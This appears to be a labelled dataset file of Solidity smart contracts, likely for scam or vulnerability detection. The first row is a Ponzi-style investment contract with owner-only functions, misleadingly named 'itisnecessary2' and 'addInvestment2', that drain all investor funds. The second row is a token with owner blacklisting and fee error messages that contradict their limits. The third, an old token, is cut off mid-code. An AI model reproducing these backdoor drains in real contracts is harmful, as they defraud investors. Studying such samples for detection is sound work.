m_privEnter.provideAccessFor(addrs);
}
function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) {
investment = m_rgp.maxInvestmentAtNow();
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}
function investorInfo(address investorAddr)public view returns(uint investment, uint paymentTime, bool isReferral) {
(investment, paymentTime) = m_investors.investorInfo(investorAddr);
isReferral = m_referrals[investorAddr];
}
function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}
function dailyPercentAtNow() public view returns(uint numerator, uint denominator) {
Percent.percent memory p = dailyPercent();
(numerator, denominator) = (p.num, p.den);
}
function getMyDividends() public notFromContract balanceChanged {
uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");
assert(m_investors.setPaymentTime(msg.sender, now));
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}
function itisnecessary2() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function addInvestment2( uint investment) public onlyOwner {
msg.sender.transfer(investment);
}
function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvesment, "investment must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
if (m_rgp.isActive()) {
uint rpgMaxInvest = m_rgp.maxInvestmentAtNow();
rpgMaxInvest.requireNotZero();
investment = Math.min(investment, rpgMaxInvest);
assert(m_rgp.saveInvestment(investment));
emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay());
} else if (m_privEnter.isActive()) {
uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender);
peMaxInvest.requireNotZero();
investment = Math.min(investment, peMaxInvest);
}
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}
advertisingAddress.transfer(m_advertisingPercent.mul(receivedEther));
adminsAddress.transfer(m_adminsPercent.mul(receivedEther));
if (msg.value > 0)
{
if (msg.data.length == 20) {
referrerAddr.transfer(m_referrer_percent.mmul(investment));
}
else if (msg.data.length == 0) {
adminsAddress.transfer(m_referrer_percent.mmul(investment));
}
else {
assert(false);
}
}
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
m_referrals[msg.sender] = true;
uint referrerBonus = m_referrer_percent.mmul(investment);
if (investment > 10 ether) {
referrerBonus = m_referrer_percentMax.mmul(investment);
}
uint referalBonus = m_referal_percent.mmul(investment);
investment += referalBonus;
emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
}
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}
if (senderIsInvestor) {
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}
investmentsNumber++;
emit LogNewInvesment(msg.sender, now, investment, receivedEther);
}
function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(investment, paymentTime);
}
function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
if (investor.investment.isZero() || now.sub(investor.paymentTime) < 1 seconds) {
return 0;
}
Percent.percent memory p = dailyPercent();
dividends = (now.sub(investor.paymentTime) / 1 seconds) * p.mmul(investor.investment) / 86400;
}
function dailyPercent() internal view returns(Percent.percent memory p) {
uint balance = address(this).balance;
if (balance < 33333e5 ether) {
p = m_1_percent.toMemory();
}
}
function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
m_rgp.startAt(now);
emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays);
emit LogNextWave(now);
}
} | 1 | 5,472 |
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SAFUCT is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress = payable(0xc88098bb4f7C1705107fcEfC8c2eA2d6701C18c4);
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private isBot;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "SAFU Community Token";
string private _symbol = "SAFU CT";
uint8 private _decimals = 9;
uint256 public _sellFee;
uint256 public _buyFee;
uint256 public _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _liquidityFee;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwap;
bool tradingOpen = false;
bool canBlacklist = true;
uint256 private _maxHoldings = 2200001 * 10**9;
bool public maxHoldingsEnabled = true;
uint256 public numTokensSellToAddToLiquidity = 2000000 * 10**9;
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
}
function oopenTrading() external onlyOwner() {
_buyFee = 9;
_sellFee = 18;
_taxFee=1;
tradingOpen = true;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from!= owner() && to!= owner()) {
require(tradingOpen, "Trading not yet enabled.");
require (!isBot[from] && !isBot[to], "Bot!");
}
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
if(maxHoldingsEnabled){
if(from == uniswapV2Pair && from != owner() && to != owner() && to != address(uniswapV2Router) && to != address(this)) {
uint balance = balanceOf(to);
require(balance.add(amount) <= _maxHoldings);
}
}
_liquidityFee = _buyFee;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwap &&
to == uniswapV2Pair
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
_liquidityFee = _sellFee;
}
bool takeFee = false;
if ( (from==uniswapV2Pair || to==uniswapV2Pair) && !(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ) {
takeFee = true;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 halfOfLiquify = contractTokenBalance.div(10);
uint256 otherHalfOfLiquify = contractTokenBalance.div(10);
uint256 portionForFees = contractTokenBalance.sub(halfOfLiquify).sub(otherHalfOfLiquify);
uint256 initialBalance = address(this).balance;
swapTokensForEth(halfOfLiquify);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalfOfLiquify, newBalance);
sendETHToFee(portionForFees);
emit SwapAndLiquify(halfOfLiquify, newBalance, otherHalfOfLiquify);
}
function sendETHToFee(uint256 amount) private {
swapTokensForEth(amount);
marketingAddress.call{value: address(this).balance}("");
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
require (taxFee <= 1, "taxFee can't exceed 2%");
_taxFee = taxFee;
}
function setBuyFee(uint256 buyFee) external onlyOwner() {
require (buyFee <= 9, "buy Fee can't exceed 2%");
_buyFee = buyFee;
}
function setSellFee(uint256 sellFee) external onlyOwner() {
require (sellFee <= 9, "sell fee can't exceed 9%");
_sellFee = sellFee;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner() {
marketingAddress = payable(_marketingAddress);
}
function emergencyWithdraw() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function arrayBlacklist(address[] calldata bots) external onlyOwner() {
require (canBlacklist == true, "can call this function only once");
uint256 iterator = 0;
while(iterator < bots.length){
blacklist(bots[iterator]);
iterator += 1;
}
canBlacklist = false;
}
function blacklist(address account) internal {
if (account != uniswapV2Pair && account != owner() && account != address(this) && account!= address(uniswapV2Router)) {
isBot[account] = true;
}
}
function checkBot(address account) public view returns (bool) {
return isBot[account];
}
function removeBlacklist(address account) external onlyOwner {
require (isBot[account], "Must be blacklisted");
isBot[account] = false;
}
function removeMaxHoldings() external onlyOwner() {
maxHoldingsEnabled = false;
}
function setSwapThresholdAmount (uint256 amount) external onlyOwner {
require (amount <= _tTotal.div(100), "can't exceed 1%");
numTokensSellToAddToLiquidity = amount * 10 ** 9;
}
receive() external payable {}
} | 0 | 376 |
pragma solidity ^0.4.20;
contract ERC20Interface {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is ERC20Interface {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function pow(uint a, uint b) internal pure returns (uint) {
uint c = a ** b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public ownerWallet;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == ownerWallet);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(ownerWallet, newOwner);
ownerWallet = newOwner;
}
}
contract Token is StandardToken, SafeMath, Ownable {
function withDecimals(uint number, uint decimals)
internal
pure
returns (uint)
